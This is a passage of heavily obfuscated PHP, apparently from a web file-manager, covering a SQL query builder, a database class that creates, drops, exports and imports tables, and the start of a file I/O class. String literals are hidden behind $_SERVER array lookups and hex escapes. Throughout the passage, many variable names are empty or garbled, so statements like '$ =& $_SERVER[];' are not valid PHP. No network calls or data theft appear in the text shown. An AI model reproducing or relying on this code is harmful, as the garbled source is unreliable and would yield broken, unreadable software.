$ƶ = $[12]; if (is_string($Ζ)) { $ƶ = $Ζ; } else { $훢 = isset($Ζ[$[1007]]) ? strtoupper($Ζ[$[1007]]) : $[12]; if (in_array($훢, array($[1008], $[1009], $[1010]))) { $훢 = $[53] . $훢 . $[53]; unset($Ζ[$[1007]]); } else { $훢 = $[1011]; } foreach ($Ζ as $ʔ => $Ə) { $ƶ .= $[277]; if (is_numeric($ʔ)) { $ʔ = $[1012]; } if (0 === strpos($ʔ, $[11])) { $ƶ .= $this->parseThinkWhere($ʔ, $Ə); } else { if (!preg_match($[1013], trim($ʔ))) { think_exception(think_lang($[1014]) . $[4] . $ʔ); } $ԫ = is_array($Ə) && isset($Ə[$[1015]]); $ʔ = trim($ʔ); if (strpos($ʔ, $[283])) { $Ͱ = explode($[283], $ʔ); $ = array(); foreach ($Ͱ as $㸒 => $) { $٦ = $ԫ ? $Ə[$㸒] : $Ə; $[] = $[260] . $this->parseWhereItem($this->parseKey($), $٦) . $[912]; } $ƶ .= implode($[1016], $); } elseif (strpos($ʔ, $[284])) { $Ͱ = explode($[284], $ʔ); $ = array(); foreach ($Ͱ as $㸒 => $) { $٦ = $ԫ ? $Ə[$㸒] : $Ə; $[] = $[260] . $this->parseWhereItem($this->parseKey($), $٦) . $[912]; } $ƶ .= implode($[1011], $); } else { $ƶ .= $this->parseWhereItem($this->parseKey($ʔ), $Ə); } } $ƶ .= $[278] . $훢; } $ƶ = substr($ƶ, 0, -strlen($훢)); } return empty($ƶ) ? $[12] : $[1017] . $ƶ; } protected function parseWhereItem($ڀ, $͎) { $ǂ =& $_SERVER[]; $ӹ = $ǂ[12]; if (is_array($͎)) { if (is_string($͎[0])) { $ = strtolower($͎[0]); if (in_array($͎[0], array($ǂ[891], $ǂ[1018], $ǂ[1019], $ǂ[1020], $ǂ[1021], $ǂ[1022]))) { $ӹ .= $ڀ . $ǂ[53] . $͎[0] . $ǂ[53] . $this->parseValue($͎[1]); } elseif (preg_match($ǂ[1023], $͎[0])) { $ӹ .= $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[53] . $this->parseValue($͎[1]); } elseif (preg_match($ǂ[1024], $͎[0])) { if (is_array($͎[1])) { $ʧ = isset($͎[2]) ? strtoupper($͎[2]) : $ǂ[1009]; if (in_array($ʧ, array($ǂ[1008], $ǂ[1009], $ǂ[1010]))) { $ƴ = array(); foreach ($͎[1] as $) { $ƴ[] = $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[53] . $this->parseValue($); } $ӹ .= $ǂ[260] . implode($ǂ[53] . $ʧ . $ǂ[53], $ƴ) . $ǂ[912]; } } else { $ӹ .= $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[53] . $this->parseValue($͎[1]); } } elseif ($ǂ[297] == $) { $ӹ .= $ǂ[910] . $ڀ . $ǂ[53] . $͎[1] . $ǂ[1025]; } elseif (preg_match($ǂ[1026], $͎[0])) { $ӹ .= $͎[0]; } elseif (preg_match($ǂ[1027], $͎[0])) { if (isset($͎[2]) && $ǂ[297] == $͎[2]) { $ӹ .= $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[53] . $͎[1]; } else { if (is_string($͎[1])) { $͎[1] = explode($ǂ[50], $͎[1]); } $ = implode($ǂ[50], $this->parseValue($͎[1])); $ӹ .= $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[910] . $ . $ǂ[912]; } } elseif (preg_match($ǂ[1028], $͎[0])) { $Ȫ = is_string($͎[1]) ? explode($ǂ[50], $͎[1]) : $͎[1]; $ӹ .= $ǂ[910] . $ڀ . $ǂ[53] . $this->exp[$] . $ǂ[53] . $this->parseValue($Ȫ[0]) . $ǂ[1011] . $this->parseValue($Ȫ[1]) . $ǂ[278]; } else { think_exception(think_lang($ǂ[1014]) . $ǂ[4] . $͎[0]); } } else { $ = count($͎); $늕 = $ǂ[12]; if (is_string($͎[$ - 1])) { $늕 = isset($͎[$ - 1]) ? strtoupper($͎[$ - 1]) : $ǂ[12]; if (in_array($늕, array($ǂ[1008], $ǂ[1009], $ǂ[1010]))) { $ = $ - 1; } } else { $늕 = $ǂ[1008]; } for ($ = 0; $ < $; $++) { $Ȫ = is_array($͎[$]) ? $͎[$][1] : $͎[$]; if ($ǂ[297] == strtolower($͎[$][0])) { $ӹ .= $ǂ[260] . $ڀ . $ǂ[53] . $Ȫ . $ǂ[1025] . $늕 . $ǂ[53]; } else { $Ẋ = is_array($͎[$]) ? $this->exp[strtolower($͎[$][0])] : $ǂ[891]; if (!$Ẋ && is_array($͎[$]) && in_array($͎[$][0], array($ǂ[891], $ǂ[1018], $ǂ[1019], $ǂ[1020], $ǂ[1021], $ǂ[1022]))) { $Ẋ = $͎[$][0]; } $ӹ .= $ǂ[260] . $ڀ . $ǂ[53] . $Ẋ . $ǂ[53] . $this->parseValue($Ȫ) . $ǂ[1025] . $늕 . $ǂ[53]; } } $ӹ = substr($ӹ, 0, -4); } } else { $ӹ .= $ڀ . $ǂ[1029] . $this->parseValue($͎); } return $ӹ; } protected function parseThinkWhere($, $⻐✂) { $Β =& $_SERVER[]; $ = $Β[12]; switch ($) { case $Β[352]: $ = $⻐✂; break; case $Β[1012]: $ = is_string($⻐✂) ? $⻐✂ : substr($this->parseWhere($⻐✂), 6); break; case $Β[1030]: parse_str($⻐✂, $۴); if (isset($۴[$Β[1007]])) { $ = $Β[53] . strtoupper($۴[$Β[1007]]) . $Β[53]; unset($۴[$Β[1007]]); } else { $ = $Β[1011]; } $ = array(); foreach ($۴ as $ => $) { $[] = $this->parseKey($) . $Β[1029] . $this->parseValue($); } $ = implode($, $); break; } return $; } protected function parseLimit($˻) { $Ǘ =& $_SERVER[]; return !empty($˻) ? $Ǘ[51] . $˻ . $Ǘ[53] : $Ǘ[12]; } protected function parseJoin($҃) { $ꎓ =& $_SERVER[]; $֒ܰ = $ꎓ[12]; if (!empty($҃)) { if (is_array($҃)) { foreach ($҃ as $ => $ֵ) { if (!1 !== stripos($ֵ, $ꎓ[1031])) { $֒ܰ .= $ꎓ[53] . $ֵ; } else { $֒ܰ .= $ꎓ[1032] . $ֵ; } } } else { $֒ܰ .= $ꎓ[1032] . $҃; } } $֒ܰ = preg_replace($ꎓ[1033], think_config($ꎓ[937]) . $ꎓ[1034], $֒ܰ); return $֒ܰ; } protected function parseOrder($ŗ) { $Ă =& $_SERVER[]; if (is_array($ŗ)) { $圀 = array(); foreach ($ŗ as $Ԝ => $à) { if (is_numeric($Ԝ)) { $圀[] = $this->parseKey($à); } else { $à = in_array(strtoupper(trim($à)), array($Ă[1035], $Ă[1036])) ? $Ă[53] . $à : $Ă[12]; if (preg_match($Ă[1037], $Ԝ)) { $圀[] = $this->parseKey($Ԝ) . $à; } else { think_exception($Ă[1038] . $Ԝ); } } } $ŗ = implode($Ă[50], $圀); } return !empty($ŗ) ? $Ă[1039] . $ŗ : $Ă[12]; } protected function parseGroup($խ) { $ػٓ =& $_SERVER[]; return !empty($խ) ? $ػٓ[1040] . $խ : $ػٓ[12]; } protected function parseHaving($Ĭ) { $ф =& $_SERVER[]; return !empty($Ĭ) ? $ф[1041] . $Ĭ : $ф[12]; } protected function parseComment($) { $ =& $_SERVER[]; return !empty($) ? $[1042] . $ . $[1043] : $[12]; } protected function parseDistinct($) { $
=& $_SERVER[]; return !empty($) ? $
[1044] : $
[12]; } protected function parseUnion($) { $գ =& $_SERVER[]; if (empty($)) { return $գ[12]; } if (isset($[$գ[348]])) { $էٳ = $գ[1045]; unset($[$գ[348]]); } else { $էٳ = $գ[1046]; } foreach ($ as $˺) { $ϴ[] = $էٳ . (is_array($˺) ? $this->buildSelectSql($˺) : $˺); } return implode($գ[53], $ϴ); } public function insert($ܦ, $ғ = array(), $׳ = false) { $ =& $_SERVER[]; $嵞 = $ = array(); $this->model = $ғ[$[281]]; foreach ($ܦ as $،կ => $) { if (is_array($) && $[297] == $[0]) { $[] = $this->parseKey($،կ); $嵞[] = $[1]; } elseif (is_scalar($) || is_null($)) { $[] = $this->parseKey($،կ); $嵞[] = $this->parseValue($); } } $ᓪ = ($׳ ? $[914] : $[915]) . $[916] . $this->parseTable($ғ[$[279]]) . $[910] . implode($[50], $) . $[911] . implode($[50], $嵞) . $[912]; $ᓪ .= $this->parseLock(isset($ғ[$[847]]) ? $ғ[$[847]] : !1); $ᓪ .= $this->parseComment(!empty($ғ[$[354]]) ? $ғ[$[354]] : $[12]); return $this->execute($ᓪ, $this->parseBind(!empty($ғ[$[285]]) ? $ғ[$[285]] : array())); } public function selectInsert($Å, $, $˔ = array()) { $ =& $_SERVER[]; $this->model = $˔[$[281]]; if (is_string($Å)) { $Å = explode($[50], $Å); } array_walk($Å, array($this, $[913])); $ދ = $[1047] . $this->parseTable($) . $[910] . implode($[50], $Å) . $[1025]; $ދ .= $this->buildSelectSql($˔); return $this->execute($ދ, $this->parseBind(!empty($˔[$[285]]) ? $˔[$[285]] : array())); } public function update($Ȥܺ, $ԅ) { $ =& $_SERVER[]; $this->model = $ԅ[$[281]]; $ = $[1048] . $this->parseTable($ԅ[$[279]]) . $this->parseSet($Ȥܺ) . $this->parseWhere(!empty($ԅ[$[275]]) ? $ԅ[$[275]] : $[12]) . $this->parseOrder(!empty($ԅ[$[365]]) ? $ԅ[$[365]] : $[12]) . $this->parseLimit(!empty($ԅ[$[292]]) ? $ԅ[$[292]] : $[12]) . $this->parseLock(isset($ԅ[$[847]]) ? $ԅ[$[847]] : !1) . $this->parseComment(!empty($ԅ[$[354]]) ? $ԅ[$[354]] : $[12]); return $this->execute($, $this->parseBind(!empty($ԅ[$[285]]) ? $ԅ[$[285]] : array())); } public function delete($Ə = array()) { $ =& $_SERVER[]; $this->model = $Ə[$[281]]; $͆٧ = $[1049] . $this->parseTable($Ə[$[279]]) . $this->parseWhere(!empty($Ə[$[275]]) ? $Ə[$[275]] : $[12]) . $this->parseOrder(!empty($Ə[$[365]]) ? $Ə[$[365]] : $[12]) . $this->parseLimit(!empty($Ə[$[292]]) ? $Ə[$[292]] : $[12]) . $this->parseLock(isset($Ə[$[847]]) ? $Ə[$[847]] : !1) . $this->parseComment(!empty($Ə[$[354]]) ? $Ə[$[354]] : $[12]); return $this->execute($͆٧, $this->parseBind(!empty($Ə[$[285]]) ? $Ə[$[285]] : array())); } public function select($ = array()) { $Ȼ =& $_SERVER[]; $this->model = $[$Ȼ[281]]; $ = $this->buildSelectSql($); $ގ = isset($[$Ȼ[349]]) ? $[$Ȼ[349]] : !1; if ($ގ) { $ = is_string($ގ[$Ȼ[94]]) ? $ގ[$Ȼ[94]] : $Ȼ[1050] . md5($); $߹ = think_cache($, $Ȼ[12], $ގ); if (!1 !== $߹) { return $߹; } } $ǻ = $this->query($, $this->parseBind(!empty($[$Ȼ[285]]) ? $[$Ȼ[285]] : array())); if ($ގ && !1 !== $ǻ) { think_cache($, $ǻ, $ގ); } return $ǻ; } public function buildSelectSql($ = array()) { $癘 =& $_SERVER[]; if (isset($[$癘[353]])) { if (strpos($[$癘[353]], $癘[50])) { list($퓖, $) = explode($癘[50], $[$癘[353]]); } else { $퓖 = $[$癘[353]]; } $퓖 = $퓖 ? $퓖 : 1; $ = isset($) ? $ : (is_numeric($[$癘[292]]) ? $[$癘[292]] : 20); $܉ = $ * ((int) $퓖 - 1); $[$癘[292]] = $܉ . $癘[50] . $; } if (think_config($癘[1051])) { $ = $癘[1052] . md5(serialize($)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$癘[847]]) ? $[$癘[847]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($Ώ㎮, $Ԑ = array()) { $ =& $_SERVER[]; $Ώ㎮ = str_replace(array($[1053], $[1054], $[1055], $[1056], $[1057], $[1058], $[1059], $[1060], $[1061], $[1062], $[1063]), array($this->parseTable("{$Ԑ[$[279]]}"), $this->parseDistinct(isset($Ԑ[$[1064]]) ? $Ԑ[$[1064]] : !1), $this->parseField(!empty($Ԑ[$[273]]) ? $Ԑ[$[273]] : $[188]), $this->parseJoin(!empty($Ԑ[$[282]]) ? $Ԑ[$[282]] : $[12]), $this->parseWhere(!empty($Ԑ[$[275]]) ? $Ԑ[$[275]] : $[12]), $this->parseGroup(!empty($Ԑ[$[515]]) ? $Ԑ[$[515]] : $[12]), $this->parseHaving(!empty($Ԑ[$[1065]]) ? $Ԑ[$[1065]] : $[12]), $this->parseOrder(!empty($Ԑ[$[365]]) ? $Ԑ[$[365]] : $[12]), $this->parseLimit(!empty($Ԑ[$[292]]) ? $Ԑ[$[292]] : $[12]), $this->parseUnion(!empty($Ԑ[$[347]]) ? $Ԑ[$[347]] : $[12]), $this->parseComment(!empty($Ԑ[$[354]]) ? $Ԑ[$[354]] : $[12])), $Ώ㎮); return $Ώ㎮; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($χӾ) { $this->model = $χӾ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $֬ =& $_SERVER[]; if (empty($)) { $ = $GLOBALS[$֬[6]][$֬[21]]; } $this->database = $; } public function model($ = '') { return new ModelBase($, $_SERVER[][12], $this->database); } public function db($刞 = false) { $ =& $_SERVER[]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$刞) { return $this->model()->db(); } $ = $[$[979]]; $[$[979]] = $[12]; if ($[$[974]] == $[971]) { $ = $[$[980]]; $[$[980]] = substr($, 0, strrpos($, $[1066])); } $this->database = $; $Ք = $this->model()->db(); try { $ࠇ = $Ք->execute("\x73\150\157\x77\40\x64\x61\164\141\142\x61\163\145\x73\x20\x6c\151\x6b\145\40\47{$}\x27"); } catch (Exception $ˀΘ) { } if (!$ࠇ) { $Ք->execute("\x63\x72\x65\141\x74\x65\x20\x64\x61\164\x61\142\141\x73\x65\40\x60{$}\x60"); } $[$[979]] = $; if ($[$[974]] == $[971]) { $[$[980]] .= $[1066] . $; } $this->database = $; $Ք->execute("\x75\x73\x65\x20\x60{$}\x60"); return $Ք; } public function createTable($, &$ޓ) { $ =& $_SERVER[]; if (!IO::exist($)) { ActionCall($[1067], !0, 0); show_json(LNG($[1068]), !1); } $ߤŏ = $this->model()->db(); $ނ = sqlSplit(IO::getContent($)); foreach ($ނ as $) { $î = stripos($, $[1069]) === 0; if ($î) { $ޓ->task[$[790]] += 1; } $ߤŏ->execute($); if ($î) { preg_match($[1070], $, $); $ޓ->task[$[1071]] = $[1]; $ޓ->update(1); } } } public function insertTable($, &$ٮۘ) { $ =& $_SERVER[]; $ = $this->model()->db(); $΅ = $ ? array($) : $->getTables(); foreach ($ as $ʖ) { $ = basename($ʖ, $[792]); if (!in_array($, $΅)) { continue; } $ٮۘ->task[$[1071]] = $; if (get_filesize($ʖ) == 0) { continue; } $ = $this->sqlToDb($ʖ, $ٮۘ); if (!$) { ActionCall($[1067], !0, 0); show_json(LNG($[1072]) . "\x5b{$}\x5d", !1); } } } public function sqlFromDb($Ĩ, $ݞ, &$, $ٷ = '') { if ($) { $->task[$_SERVER[][1071]] = $Ĩ; } $ב = $this->model($Ĩ); $ǀ = 0; $Ƃ = 0; $ = 10000; $ڦ = fopen($ݞ, $_SERVER[][1073]); $ = $ב->getPk(); $㰉 = $ב->getDbFields(); $ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][791]] && in_array($Ĩ, array($_SERVER[][1074], $_SERVER[][1075]))) { $ = $Ĩ; } do { $ʪ = array($ => array($_SERVER[][1021], $Ƃ)); $ā = $ב->where($ʪ)->field($㰉)->order($ . $_SERVER[][1076])->limit($)->select(); $ā = !empty($ā) ? $ā : array(); if (!($ = count($ā))) { break; } $ = end($ā); $Ƃ = $[$]; $ͅǂ = array(); foreach ($ā as $γ) { if ($) { if ($Ĩ == $_SERVER[][1074]) { if ($γ[$_SERVER[][33]] == $_SERVER[][1077]) { $ = json_decode($γ[$_SERVER[][374]], !0); if ($[$_SERVER[][32]] == $GLOBALS[$_SERVER[][791]] && $[$_SERVER[][754]] != 1) { continue; } } } else { if ($γ[$_SERVER[][33]] == $_SERVER[][1078] && $γ[$_SERVER[][94]] == $_SERVER[][783]) { continue; } } } if ($ٷ) { $γ[$_SERVER[][84]] = "\x7b\151\157\72{$ٷ}\x7d" . substr($γ[$_SERVER[][84]], strlen("\x7b\x69\157\x3a{$γ[$_SERVER[][821]]}\x7d")); $γ[$_SERVER[][821]] = $ٷ; } $ͅǂ[] = $_SERVER[][1079] . $this->sqlEncode($γ) . $_SERVER[][1080]; } $Nj = "\x49\x4e\x53\x45\122\124\40\111\x4e\124\x4f\40\x60{$Ĩ}\140\40\50\x60" . implode($_SERVER[][1081], $㰉) . $_SERVER[][1082]; fwrite($ڦ, $Nj . implode($_SERVER[][1083], $ͅǂ) . $_SERVER[][71] . PHP_EOL); $ǀ += $; if ($) { $->update($); } } while ($ == $); fclose($ڦ); return $ǀ; } public function sqlToDb($ҩ绔, &$ѓ) { $ =& $_SERVER[]; $Ύ = $this->model()->db(); $ = @fopen($ҩ绔, $[1084]); if (!$) { return !1; } $ = 0; $Õ = $[12]; $Լ = array(); $ɸ = $this->dbType(); $ = $ɸ == $[13] ? 500 : 2000; $ = basename($ҩ绔, $[792]); $Ǭ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($)) { $Ө = trim(fgets($)); if (!$Ө) { continue; } $ = $this->sqlDecode($Ө, $ɸ, $); if (stripos($, $[355]) === 0) { if (!$Õ) { $Õ = $ . $[53]; } continue; } if ($ѓ) { $ѓ->task[$[790]] += 1; } $++; $Լ[] = rtrim(rtrim(trim($), $[50]), $[71]); $˷ = null; $߿ = strlen($); $Ǭ += $߿; if ($Ǭ >= ($ == 500 ? $ : $)) { $˷ = array_pop($Լ); if ($ > 1) { $--; } } if ($ >= $ || $˷) { $ = $Õ . implode($[50], $Լ); if (!$Ύ->execute($)) { return !1; } if ($ѓ) { $ѓ->update($); } $Լ = array(); $ = 0; $Ǭ = 0; if ($˷) { $Լ = array($˷); $ = 1; $Ǭ = $߿; } } } fclose($); if (!empty($Լ)) { $ = $Õ . implode($[50], $Լ); if (!$Ύ->execute($)) { return !1; } if ($ѓ) { $ѓ->update($); } } return !0; } public function dropTable($ = null) { $ڹ = $this->model()->db(); $豔 = $ ? array($) : $ڹ->getTables(); if (!$豔) { return; } foreach ($豔 as $) { if ($) { $ = strtolower($); } else { continue; } $ڹ->execute("\x64\x72\157\160\x20\164\141\x62\154\x65\x20\x69\146\x20\145\x78\x69\x73\x74\x73\x20\x60{$}\x60"); } } private function sqlEncode($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $뢝ӱ) { if (is_array($뢝ӱ)) { $뢝ӱ = json_encode_force($뢝ӱ); } $뢝ӱ = addslashes($뢝ӱ); $뢝ӱ = str_replace(array($[1085], $[231]), array($[1086], $[1087]), $뢝ӱ); $[] = str_replace($[58], $[1088], $뢝ӱ); } return $[58] . implode($[1089], $) . $[58]; } private function sqlDecode($ɽ, $, $ž = '') { $ =& $_SERVER[]; $ɽ = str_replace(array($[1086], $[1087]), array($[1085], $[231]), $ɽ); if ($ == $[13]) { return $ž != $[1090] ? stripslashes($ɽ) : $ɽ; } if ($ž == $[1090]) { $ɽ = str_replace($[1091], $[118], stripslashes($ɽ)); } return $ɽ; } public function getSqlFile($샂 = '') { $ =& $_SERVER[]; $ = $this->dbType(!0); $ɣ = CONTROLLER_DIR . "\x69\x6e\163\x74\x61\x6c\154\x2f\144\x61\164\x61\57{$}\56\x73\x71\x6c"; $ζ = file_get_contents($ɣ); $ = $[1092] . ($ == $[808] ? $[1093] : $[1094]) . $[1095]; preg_match_all($, $ζ, $); $ɽ˨ = $[1]; $⒴ = $this->model()->db(); $섽 = $⒴->getTables(); $ = TEMP_FILES . $[1096] . date($[755]) . $[8]; del_dir($); mk_dir($); $ = $ . $[1097]; $ = $ . $[1098]; $ = $ == $[13] ? $[808] : $[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\163\x74\x61\x6c\x6c\x2f\144\141\164\141\57{$}\56\163\161\154", $); @touch($ . $ . $[792]); $ԇ = fopen($, $[1073]); $ = fopen($, $[1073]); if ($ == $[13]) { $섽 = array_diff($섽, array($[788], $[789])); $݃ = array($[1099], $[1100], $[1101]); fwrite($, implode(PHP_EOL, $݃) . PHP_EOL . PHP_EOL); foreach ($섽 as $Қ) { $Ԇ = $this->sqlFromSqlite($Қ); if (!$Ԇ[$[13]]) { continue; } fwrite($, $Ԇ[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($Қ, $ɽ˨)) { fwrite($ԇ, $Ԇ[$[808]] . PHP_EOL . PHP_EOL); } } } else { foreach ($섽 as $Қ) { $Ԇ = $this->sqlFromMysql($Қ); if (!$Ԇ[$[808]]) { continue; } fwrite($ԇ, $Ԇ[$[808]] . PHP_EOL . PHP_EOL); if (!in_array($Қ, $ɽ˨)) { fwrite($, $Ԇ[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($ԇ); fclose($); $ζ = array($[808] => $, $[13] => $); return $샂 ? $ζ[$샂] : $ζ; } public function dbType($ = false) { $Ǫ =& $_SERVER[]; $ = $ ? $GLOBALS[$Ǫ[6]][$Ǫ[21]] : $this->database; $ = array_change_key_case($); $ = $[$Ǫ[974]]; if ($ == $Ǫ[971]) { $ = explode($Ǫ[4], $[$Ǫ[980]]); $ = $[0]; } $ = array($Ǫ[1102] => $Ǫ[13], $Ǫ[919] => $Ǫ[808]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $˘ = '') { $ =& $_SERVER[]; $퀃 = $this->model()->db(); $Ƙ = $퀃->query($[1103] . $ . $[385]); if (!$Ƙ || !$Ƙ[0]) { return !1; } $ʩ = _get($Ƙ[0], $[1104], $[12]); if (!$ʩ) { return !1; } $é = "\104\x52\x4f\120\x20\x54\101\x42\114\x45\x20\111\106\40\x45\x58\x49\x53\124\x53\x20\140{$}\x60\73" . PHP_EOL . $ʩ . $[71]; if ($˘ && $˘ == $[808]) { return $é; } $ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ۘҰ = $[$[979]]; $ = $[1105] . $ۘҰ . $[1106] . $ . $[58]; $Ԡ = $[1107] . $ . $[907]; $ = $퀃->query($); if (empty($)) { $ = array($[808] => $[12], $[13] => $[12]); return $˘ ? $[$˘] : $; } $㰖 = $퀃->query($Ԡ); $׀ = $[12]; $ = array(); foreach ($㰖 as $ܶ) { if (!$׀ && $ܶ[$[1108]] == $[1109]) { $׀ = $ܶ[$[1110]]; } if (isset($[$ܶ[$[1108]]])) { $[$ܶ[$[1108]]][$[1111]][] = $ܶ[$[1110]]; continue; } $[$ܶ[$[1108]]] = array($[1112] => $ܶ[$[1108]], $[1111] => array($ܶ[$[1110]]), $[1113] => $ܶ[$[1114]] == $[88] ? 0 : 1); } $ = array(); foreach ($ as $ܶ) { $Ǻڣ = $ܶ[$[1112]] == $[1109]; $ٓ = array($[1115], $ܶ[$[1113]] == $[88] && !$Ǻڣ ? $[1116] : $[12], $[1117], $[1118] . $ . $[11] . ($Ǻڣ ? $[1119] : $ܶ[$[1112]]) . $[118], $[1120], $[118] . $ . $[118], $[1121] . implode($[1122], $ܶ[$[1111]]) . $[1123]); $[] = implode($[53], $ٓ) . $[71]; } $ծ͆ = array(); $ = array($[1124] => $[1125], $[1125] => $[1125], $[288] => $[315], $[287] => $[315]); foreach ($ as $ܶ) { $ٓ = array($[118] . $ܶ[$[1126]] . $[118], isset($[$ܶ[$[1127]]]) ? $[$ܶ[$[1127]]] : $ܶ[$[1128]], $ܶ[$[1129]] == $[905] ? $[1130] : $[1131], $ܶ[$[1126]] == $׀ ? $[1132] : $[12], $ܶ[$[956]] ? strtoupper(str_replace($[11], $[12], $ܶ[$[956]])) : $[12]); $ծ͆[] = trim(implode($[53], $ٓ)); } $ݓ = array($[1133] . $ . $[1134], $[1135] . $ . $[1136], implode($[50] . PHP_EOL, $ծ͆), $[953]); $Ɣ = implode(PHP_EOL, array_merge($ݓ, $)); if ($˘ && $˘ == $[13]) { return $Ɣ; } $ = array($[808] => $é, $[13] => $Ɣ); return $˘ ? $[$˘] : $; } public function sqlFromSqlite($, $ = '') { $ڢ =& $_SERVER[]; $ = $this->model()->db(); $Ŏ = "\x50\122\x41\x47\115\101\x20\124\x41\x42\x4c\x45\137\x49\x4e\106\117\40\50\47{$}\x27\x29"; $ = "\x53\105\114\x45\103\x54\40\52\x20\106\122\x4f\115\x20\x73\161\x6c\151\x74\x65\137\x6d\x61\163\164\x65\x72\40\x57\x48\105\122\x45\40\x74\142\154\137\x6e\141\x6d\145\40\x3d\40\x27{$}\47"; $ = $->query($Ŏ); if (empty($)) { $˟ = array($ڢ[808] => $ڢ[12], $ڢ[13] => $ڢ[12]); return $ ? $˟[$] : $˟; } $ϥ = $->query($); $ = $ = array(); foreach ($ϥ as $) { if ($[$ڢ[33]] == $ڢ[279]) { $[] = $[$ڢ[1137]]; } else { $[$[$ڢ[32]]] = $[$ڢ[1137]]; } } $ = array_merge(array($ڢ[1133] . $ . $ڢ[118]), $, array_values($)); $ = implode($ڢ[71] . PHP_EOL, $) . $ڢ[71]; if ($ && $ == $ڢ[13]) { return $; } $٪ = array(); $ = array($ڢ[1125] => $ڢ[1138], $ڢ[315] => $ڢ[1139]); $ߗ = $ڢ[12]; foreach ($ as $) { if ($[$ڢ[57]] == $ڢ[88]) { $ߗ = $[$ڢ[32]]; } $ = array($ڢ[385] . $[$ڢ[32]] . $ڢ[385], isset($[$[$ڢ[33]]]) ? $[$[$ڢ[33]]] : $[$ڢ[33]], $[$ڢ[35]] == $ڢ[88] ? $ڢ[1130] : $ڢ[1140] . $[$ڢ[56]], $[$ڢ[57]] == $ڢ[88] ? $ڢ[1141] : $ڢ[12]); $٪[] = trim(implode($ڢ[53], $)); } foreach ($ as $ӌ => $) { $ = str_replace($ڢ[1142] . $ . $ڢ[11], $ڢ[12], $ӌ); $ = str_replace(array($ڢ[118], $ڢ[964]), $ڢ[385], substr($, stripos($, $ڢ[260]))); if ($ == $ڢ[1119]) { $ = $ڢ[1143] . $ߗ . $ڢ[1144]; } else { $ = (stripos($, $ڢ[11]) ? $ڢ[1145] : $ڢ[12]) . ($ڢ[1146] . $ . $ڢ[1147] . $); } $٪[] = $; } $˰ = array($ڢ[1148] . $ . $ڢ[1149], $ڢ[1150] . $ . $ڢ[1151], implode($ڢ[50] . PHP_EOL, $٪), $ڢ[1152]); $И = implode(PHP_EOL, $˰); if ($ && $ == $ڢ[808]) { return $И; } $˟ = array($ڢ[808] => $И, $ڢ[13] => $); return $ ? $˟[$] : $˟; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($ٍĐ, $⎪) { $荓 =& $_SERVER[]; $ = $⎪; $GLOBALS[$荓[1153]] = $荓[1154] . $ٍĐ; Hook::trigger($荓[1154] . $ٍĐ . $荓[1155], $); $ϸٱ = self::driverMake($⎪[0]); if (!$ϸٱ) { return !1; } if (method_exists($ϸٱ, $ٍĐ)) { $ܱ = @call_user_func_array(array($ϸٱ, $ٍĐ), $⎪); } else { if (method_exists($ϸٱ, $荓[1156])) { $ܱ = @call_user_func_array(array($ϸٱ, $ٍĐ), $⎪); } else { if (method_exists(self, $ٍĐ)) { $ܱ = @call_user_func_array(array(self, $ٍĐ), $⎪); } else { $ܱ = call_user_func_array(array(parent, $ٍĐ), $⎪); } } } Hook::trigger($荓[1154] . $ٍĐ . $荓[1157], $, $ܱ); return $ܱ; } public static function init($) { return self::driverMake($); } public static function copy($Ҥƀ, $կ, $鬃 = false, $ = false) { return self::copyMoveStart($Ҥƀ, $կ, $鬃, $_SERVER[][555], $); } public static function move($䕿, $ٯ, $ = false, $҈ = false) { return self::copyMoveStart($䕿, $ٯ, $, $_SERVER[][557], $҈); } private static function copyMoveStart($, $, $, $窍, $) { $Ɑ =& $_SERVER[]; $ՙ̚ = array($, $, $, $); Hook::trigger($Ɑ[1154] . $窍 . $Ɑ[1155], $ՙ̚); $ = self::copyMove($, $, $, $窍, $); Hook::trigger($Ɑ[1154] . $窍 . $Ɑ[1157], $ՙ̚, $); return $; } public static function saveFile($ϒ, $, $ = true) { $ =& $_SERVER[]; $Ӝ = self::info($); $ج = self::driverMake($ϒ); $Σ = self::driverMake($); $Ց = !1; if ($Σ->pathParse[$[1158]]) { $Ց = $Σ; $ = $Σ->pathParse[$[1158]]; $Σ = self::driverMake($); } if ($ج->pathParse[$[1158]]) { $ = $ج->pathParse[$[1158]]; $ج = self::driverMake($); } $㡺 = $Σ->pathFather($); $ީ = !0; if (!$ && self::driverIsSame($ج, $Σ)) { $ީ = !1; } $ʦ = self::copyFile($ج, $ϒ, $Σ, $㡺, $Ӝ[$[32]], $ީ); if ($Ց) { $ʦ = $Ց->getPathOuter($ʦ); } return $ʦ; } private static function copyMove($, $, $֚, $ޥ, $Ҷ = false) { $̿ʑ =& $_SERVER[]; if (!$ || $ == $̿ʑ[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($); $ = self::driverMake($); $͡ = $ޥ == $̿ʑ[557]; $֎ = !1; if ($->pathParse[$̿ʑ[1158]]) { $֎ = $; $ = $->pathParse[$̿ʑ[1158]]; $ = self::driverMake($); } if ($->pathParse[$̿ʑ[1158]]) { $ = $->pathParse[$̿ʑ[1158]]; $ = self::driverMake($); } self::check($, $, $, $); Hook::trigger($̿ʑ[1159], $, $, $, $); $ = self::driverIsSame($, $); if ($) { if ($ޥ == $̿ʑ[557] && !method_exists($, $̿ʑ[1160]) && trim($, 